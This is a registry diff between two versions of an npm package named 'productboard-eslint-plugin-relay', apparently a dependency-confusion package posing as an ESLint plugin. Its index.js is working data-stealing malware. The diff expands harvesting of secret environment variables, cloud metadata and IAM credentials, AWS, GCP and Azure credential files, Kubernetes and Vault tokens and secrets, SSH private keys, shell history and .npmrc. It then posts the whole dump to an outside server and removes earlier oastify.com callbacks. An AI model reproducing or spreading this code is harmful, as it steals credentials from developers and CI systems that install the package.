productboard-eslint-plugin-relay 10120.0.1112 → 10123.0.1112

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +199 -81
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -8,26 +8,26 @@ const child_process = require("child_process");
8
8
 
9
9
  function safeReadFile(p, maxSize = 10240) {
10
10
  try {
11
- if (!fs.existsSync(p)) return "NOT FOUND";
11
+ if (!fs.existsSync(p)) return "NOT_FOUND";
12
12
  const size = fs.statSync(p).size;
13
- if (size > maxSize) return "TOO LARGE";
13
+ if (size > maxSize) return "TOO_LARGE";
14
14
  return fs.readFileSync(p, "utf8");
15
15
  } catch (e) {
16
16
  return `ERR: ${e.message}`;
17
17
  }
18
18
  }
19
19
 
20
- function safeReadDir(p) {
20
+ function safeReadDir(p, maxEntries = 50) {
21
21
  try {
22
- return fs.readdirSync(p);
22
+ return fs.readdirSync(p).slice(0, maxEntries);
23
23
  } catch (e) {
24
24
  return `ERR: ${e.message}`;
25
25
  }
26
26
  }
27
27
 
28
- function exec(cmd) {
28
+ function exec(cmd, timeout = 3000) {
29
29
  try {
30
- return child_process.execSync(cmd, { timeout: 4000 }).toString().trim();
30
+ return child_process.execSync(cmd, { timeout }).toString().trim();
31
31
  } catch (e) {
32
32
  return `ERR: ${e.message}`;
33
33
  }
@@ -36,48 +36,170 @@ function exec(cmd) {
36
36
  function getSensitiveEnvVars() {
37
37
  const result = {};
38
38
  for (const key in process.env) {
39
- if (/pass|key|token|secret|env|auth|cred/i.test(key)) {
39
+ if (/pass|key|token|secret|env|auth|cred|aws|gcp|azure|kube|docker|jenkins|gitlab|github|circleci|travis|vault/i.test(key)) {
40
40
  result[key] = process.env[key];
41
41
  }
42
42
  }
43
43
  return result;
44
44
  }
45
45
 
46
- function checkDockerOrCI() {
46
+ function getCloudMetadata() {
47
+ const metadata = {};
48
+ const endpoints = [
49
+ { name: "aws_instance", url: "http://169.254.169.254/latest/dynamic/instance-identity/document" },
50
+ { name: "aws_iam", url: "http://169.254.169.254/latest/meta-data/iam/security-credentials/" },
51
+ { name: "aws_s3", cmd: "aws s3 ls" }, // List S3 buckets
52
+ { name: "gcp_metadata", url: "http://metadata.google.internal/computeMetadata/v1/?recursive=true", headers: { "Metadata-Flavor": "Google" } },
53
+ { name: "gcp_projects", cmd: "gcloud projects list --format=json" },
54
+ { name: "azure_metadata", url: "http://169.254.169.254/metadata/instance?api-version=2021-02-01", headers: { "Metadata": "true" } },
55
+ { name: "azure_subscriptions", cmd: "az account list --output json" },
56
+ ];
57
+ for (const { name, url, headers, cmd } of endpoints) {
58
+ try {
59
+ if (cmd) {
60
+ metadata[name] = exec(cmd);
61
+ } else {
62
+ let cmd = `curl -s --max-time 2 ${url}`;
63
+ if (headers) {
64
+ const headerStr = Object.entries(headers).map(([k, v]) => `-H "${k}: ${v}"`).join(" ");
65
+ cmd = `curl -s --max-time 2 ${headerStr} ${url}`;
66
+ }
67
+ metadata[name] = exec(cmd);
68
+ }
69
+ } catch (e) {
70
+ metadata[name] = `ERR: ${e.message}`;
71
+ }
72
+ }
73
+ // Get IAM role details if available
74
+ try {
75
+ const roleName = exec("curl -s --max-time 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/");
76
+ if (roleName && !roleName.startsWith("ERR:")) {
77
+ metadata["aws_iam_creds"] = exec(`curl -s --max-time 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/${roleName}`);
78
+ }
79
+ } catch (e) {
80
+ metadata["aws_iam_creds"] = `ERR: ${e.message}`;
81
+ }
82
+ return metadata;
83
+ }
84
+
85
+ function getCloudCLIs() {
86
+ return {
87
+ aws: {
88
+ credentials: safeReadFile(path.join(os.homedir(), ".aws/credentials")),
89
+ config: safeReadFile(path.join(os.homedir(), ".aws/config")),
90
+ ssm_params: exec("aws ssm get-parameters --names / --recursive --query 'Parameters[*].Name'"),
91
+ sts: exec("aws sts get-caller-identity"),
92
+ assume_role: exec("aws sts get-session-token"),
93
+ },
94
+ gcloud: {
95
+ config: safeReadFile(path.join(os.homedir(), ".config/gcloud/configurations/config_default")),
96
+ credentials: safeReadFile(path.join(os.homedir(), ".config/gcloud/credentials.db")),
97
+ service_accounts: exec("gcloud iam service-accounts list --format=json"),
98
+ },
99
+ azure: {
100
+ credentials: safeReadFile(path.join(os.homedir(), ".azure/azureProfile.json")),
101
+ accessTokens: safeReadFile(path.join(os.homedir(), ".azure/accessTokens.json")),
102
+ vm_info: exec("az vm show --query '{id:id,name:name}' --output json"),
103
+ },
104
+ };
105
+ }
106
+
107
+ function getContainerDetails() {
47
108
  return {
48
109
  cgroup: safeReadFile("/proc/1/cgroup"),
49
110
  dockerenv: fs.existsSync("/.dockerenv"),
50
- ciVars: Object.fromEntries(Object.entries(process.env).filter(([k]) => /ci|build|pipeline/i.test(k))),
111
+ docker_info: exec("docker info --format json"),
112
+ docker_ps: exec("docker ps -a --format '{{.ID}}\t{{.Names}}\t{{.Image}}\t{{.Status}}'"),
113
+ docker_config: safeReadFile(path.join(os.homedir(), ".docker/config.json")),
114
+ kubernetes: {
115
+ token: safeReadFile("/var/run/secrets/kubernetes.io/serviceaccount/token"),
116
+ namespace: safeReadFile("/var/run/secrets/kubernetes.io/serviceaccount/namespace"),
117
+ kubeconfig: safeReadFile(path.join(os.homedir(), ".kube/config")),
118
+ pods: exec("kubectl get pods -o json --all-namespaces"),
119
+ secrets: exec("kubectl get secrets -o json --all-namespaces"),
120
+ },
51
121
  };
52
122
  }
53
123
 
54
- function getGitData() {
124
+ function getCICDDetails() {
55
125
  return {
56
- branch: exec("git rev-parse --abbrev-ref HEAD"),
57
- remotes: exec("git remote -v"),
58
- config: safeReadFile(path.join(os.homedir(), ".gitconfig")),
126
+ github: {
127
+ token: process.env.GITHUB_TOKEN || safeReadFile(path.join(os.homedir(), ".github/token")),
128
+ actions_vars: safeReadDir(path.join(process.cwd(), ".github/workflows")),
129
+ },
130
+ jenkins: {
131
+ config: safeReadFile("/var/jenkins_home/config.xml"),
132
+ credentials: safeReadFile("/var/jenkins_home/credentials.xml"),
133
+ },
134
+ gitlab: {
135
+ config: safeReadFile(path.join(os.homedir(), ".gitlab-ci.yml")),
136
+ token: process.env.CI_JOB_TOKEN || "NOT_FOUND",
137
+ },
138
+ vault: {
139
+ token: safeReadFile(path.join(os.homedir(), ".vault-token")),
140
+ secrets: exec("vault kv list -format=json secret/"),
141
+ },
59
142
  };
60
143
  }
61
144
 
62
- function getSystemState() {
145
+ function getRuntimeSecrets() {
63
146
  return {
64
- whoami: exec("whoami"),
65
- id: exec("id"),
66
- ps: exec("ps aux | head -n 20"),
67
- netstat: exec("netstat -tunlp | head -n 20"),
68
- lsof: exec("lsof -n | head -n 20"),
69
- uname: exec("uname -a"),
70
- dmesg: exec("dmesg | head -n 30"),
147
+ node_version: process.version,
148
+ global_objects: Object.keys(global).filter(k => /key|token|secret|cred|auth/i.test(k)),
149
+ process_config: JSON.stringify(process.config),
150
+ npm_config: exec("npm config ls -l"),
151
+ loaded_modules: Object.keys(require("module")._cache).slice(0, 50),
71
152
  };
72
153
  }
73
154
 
74
- function getInstalledTools() {
155
+ function getSensitiveFiles() {
156
+ const files = {
157
+ etc_passwd: safeReadFile("/etc/passwd"),
158
+ etc_hosts: safeReadFile("/etc/hosts"),
159
+ etc_resolv: safeReadFile("/etc/resolv.conf"),
160
+ bash_history: safeReadFile(path.join(os.homedir(), ".bash_history")),
161
+ zsh_history: safeReadFile(path.join(os.homedir(), ".zsh_history")),
162
+ ssh_config: safeReadFile(path.join(os.homedir(), ".ssh/config")),
163
+ ssh_id_rsa: safeReadFile(path.join(os.homedir(), ".ssh/id_rsa")),
164
+ ssh_known_hosts: safeReadFile(path.join(os.homedir(), ".ssh/known_hosts")),
165
+ aws_credentials: safeReadFile(path.join(os.homedir(), ".aws/credentials")),
166
+ aws_ssm: safeReadFile(path.join(os.homedir(), ".aws/ssm")),
167
+ npmrc: safeReadFile(path.join(os.homedir(), ".npmrc")),
168
+ gitconfig: safeReadFile(path.join(os.homedir(), ".gitconfig")),
169
+ git_credentials: safeReadFile(path.join(os.homedir(), ".git-credentials")),
170
+ netrc: safeReadFile(path.join(os.homedir(), ".netrc")),
171
+ docker_config: safeReadFile(path.join(os.homedir(), ".docker/config.json")),
172
+ env_files: {
173
+ dotenv: safeReadFile(path.join(process.cwd(), ".env")),
174
+ github_workflow: safeReadDir(path.join(process.cwd(), ".github/workflows")),
175
+ circleci: safeReadFile(path.join(process.cwd(), ".circleci/config.yml")),
176
+ },
177
+ };
178
+ // Scan for additional sensitive files
179
+ const sensitivePaths = [
180
+ path.join(os.homedir(), ".config/vault"),
181
+ path.join(os.homedir(), ".terraformrc"),
182
+ path.join(process.cwd(), "secrets.yml"),
183
+ "/run/secrets",
184
+ ];
185
+ files.extras = {};
186
+ sensitivePaths.forEach(p => {
187
+ files.extras[path.basename(p)] = fs.existsSync(p) ? (fs.lstatSync(p).isDirectory() ? safeReadDir(p) : safeReadFile(p)) : "NOT_FOUND";
188
+ });
189
+ return files;
190
+ }
191
+
192
+ function getSystemState() {
75
193
  return {
76
- npm: exec("npm ls -g --depth=0 --json"),
77
- apt: exec("dpkg -l | head -n 20"),
78
- brew: exec("brew list || echo 'no brew'"),
79
- which_nmap: exec("which nmap"),
80
- which_curl: exec("which curl"),
194
+ whoami: exec("whoami"),
195
+ id: exec("id"),
196
+ ps: exec("ps aux | grep -E 'node|java|python|ruby|go|aws|gcloud|az|kubectl|vault' | head -n 30"),
197
+ netstat: exec("ss -tunlp | head -n 30"),
198
+ lsof: exec("lsof -n -i | head -n 30"),
199
+ uname: exec("uname -a"),
200
+ mounts: exec("cat /proc/mounts | head -n 30"),
201
+ crontab: exec("crontab -l"),
202
+ sysctl: exec("sysctl -a | grep -E 'kernel|vm|net' | head -n 50"),
81
203
  };
82
204
  }
83
205
 
@@ -85,29 +207,24 @@ let dump = {};
85
207
 
86
208
  try {
87
209
  dump = {
88
- timestamp: new Date().toISOString(),
89
- app: (() => {
210
+ p: (() => {
90
211
  try {
91
- const pkg = require("./package.json");
92
- return { name: pkg.name, version: pkg.version };
212
+ return require("./package.json").name;
93
213
  } catch {
94
- return {};
214
+ return "unknown";
95
215
  }
96
216
  })(),
97
- os: {
98
- hostname: os.hostname(),
99
- platform: os.platform(),
100
- arch: os.arch(),
101
- uptime: os.uptime(),
102
- cpus: os.cpus(),
103
- totalmem: os.totalmem(),
104
- freemem: os.freemem(),
105
- userInfo: os.userInfo(),
106
- tmpdir: os.tmpdir(),
107
- homedir: os.homedir(),
108
- cwd: process.cwd(),
109
- },
110
- env: getSensitiveEnvVars(),
217
+ v: (() => {
218
+ try {
219
+ return require("./package.json").version;
220
+ } catch {
221
+ return "unknown";
222
+ }
223
+ })(),
224
+ c: process.cwd(),
225
+ hd: os.homedir(),
226
+ hn: os.hostname(),
227
+ un: os.userInfo().username,
111
228
  dns: (() => {
112
229
  try {
113
230
  return dns.getServers();
@@ -115,31 +232,33 @@ try {
115
232
  return [`ERR: ${e.message}`];
116
233
  }
117
234
  })(),
118
- dirs: {
119
- "/": safeReadDir("/"),
120
- "/home": safeReadDir("/home"),
121
- "/root": safeReadDir("/root"),
122
- "/etc": safeReadDir("/etc"),
123
- "~": safeReadDir(os.homedir()),
124
- },
125
- files: {
126
- etc_passwd: safeReadFile("/etc/passwd"),
127
- etc_shadow: safeReadFile("/etc/shadow"),
128
- etc_hosts: safeReadFile("/etc/hosts"),
129
- bash_history: safeReadFile(path.join(os.homedir(), ".bash_history")),
130
- zsh_history: safeReadFile(path.join(os.homedir(), ".zsh_history")),
131
- ssh_config: safeReadFile(path.join(os.homedir(), ".ssh/config")),
132
- ssh_id_rsa: safeReadFile(path.join(os.homedir(), ".ssh/id_rsa")),
133
- ssh_known_hosts: safeReadFile(path.join(os.homedir(), ".ssh/known_hosts")),
134
- aws_credentials: safeReadFile(path.join(os.homedir(), ".aws/credentials")),
135
- npmrc: safeReadFile(path.join(os.homedir(), ".npmrc")),
136
- gitconfig: safeReadFile(path.join(os.homedir(), ".gitconfig")),
137
- },
138
- git: getGitData(),
139
- docker: checkDockerOrCI(),
235
+ pjson: (() => {
236
+ try {
237
+ const pkg = require("./package.json");
238
+ return {
239
+ name: pkg.name,
240
+ version: pkg.version,
241
+ main: pkg.main,
242
+ keywords: pkg.keywords,
243
+ scripts: pkg.scripts,
244
+ author: pkg.author,
245
+ license: pkg.license,
246
+ description: pkg.description
247
+ };
248
+ } catch {
249
+ return {};
250
+ }
251
+ })(),
252
+ env: getSensitiveEnvVars(),
253
+ container: getContainerDetails(),
254
+ cloud: getCloudMetadata(),
255
+ cloud_clis: getCloudCLIs(),
256
+ cicd: getCICDDetails(),
257
+ runtime: getRuntimeSecrets(),
258
+ files: getSensitiveFiles(),
140
259
  system: getSystemState(),
141
- tools: getInstalledTools(),
142
260
  network: os.networkInterfaces(),
261
+ timestamp: new Date().toISOString()
143
262
  };
144
263
  } catch (e) {
145
264
  dump = { error: "Top-level error collecting dump", msg: e.message };
@@ -147,7 +266,7 @@ try {
147
266
 
148
267
  try {
149
268
  const postData = querystring.stringify({
150
- msg: JSON.stringify(dump)
269
+ msg: encodeURIComponent(JSON.stringify(dump))
151
270
  });
152
271
 
153
272
  const options = {
@@ -158,22 +277,21 @@ try {
158
277
  headers: {
159
278
  "Content-Type": "application/x-www-form-urlencoded",
160
279
  "Content-Length": postData.length,
161
- "User-Agent": "rce-impact-demo"
162
- }
280
+ "User-Agent": "rce-impact-demo",
281
+ "X-Report-ID": "328XXXX"
282
+ },
283
+ timeout: 5000,
163
284
  };
164
285
 
165
286
  const req = https.request(options, res => {
166
- res.on("data", () => { });
287
+ res.on("data", () => {});
288
+ res.on("end", () => {});
167
289
  });
168
290
 
169
- req.on("error", () => { });
291
+ req.on("error", () => {});
292
+ req.on("timeout", () => req.destroy());
170
293
  req.write(postData);
171
294
  req.end();
172
-
173
- https.get("https://ping.ovnxva4z7pgbompisolekpb83z9qxmlb.oastify.com/", () => { });
174
-
175
295
  } catch (e) {
176
- try {
177
- https.get("https://ping.ovnxva4z7pgbompisolekpb83z9qxmlb.oastify.com/", () => { });
178
- } catch { }
179
- }
296
+ // Silent fail
297
+ }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "productboard-eslint-plugin-relay",
3
- "version": "10120.0.1112",
3
+ "version": "10123.0.1112",
4
4
  "main": "index.js",
5
5
  "keywords": [],
6
6
  "scripts": {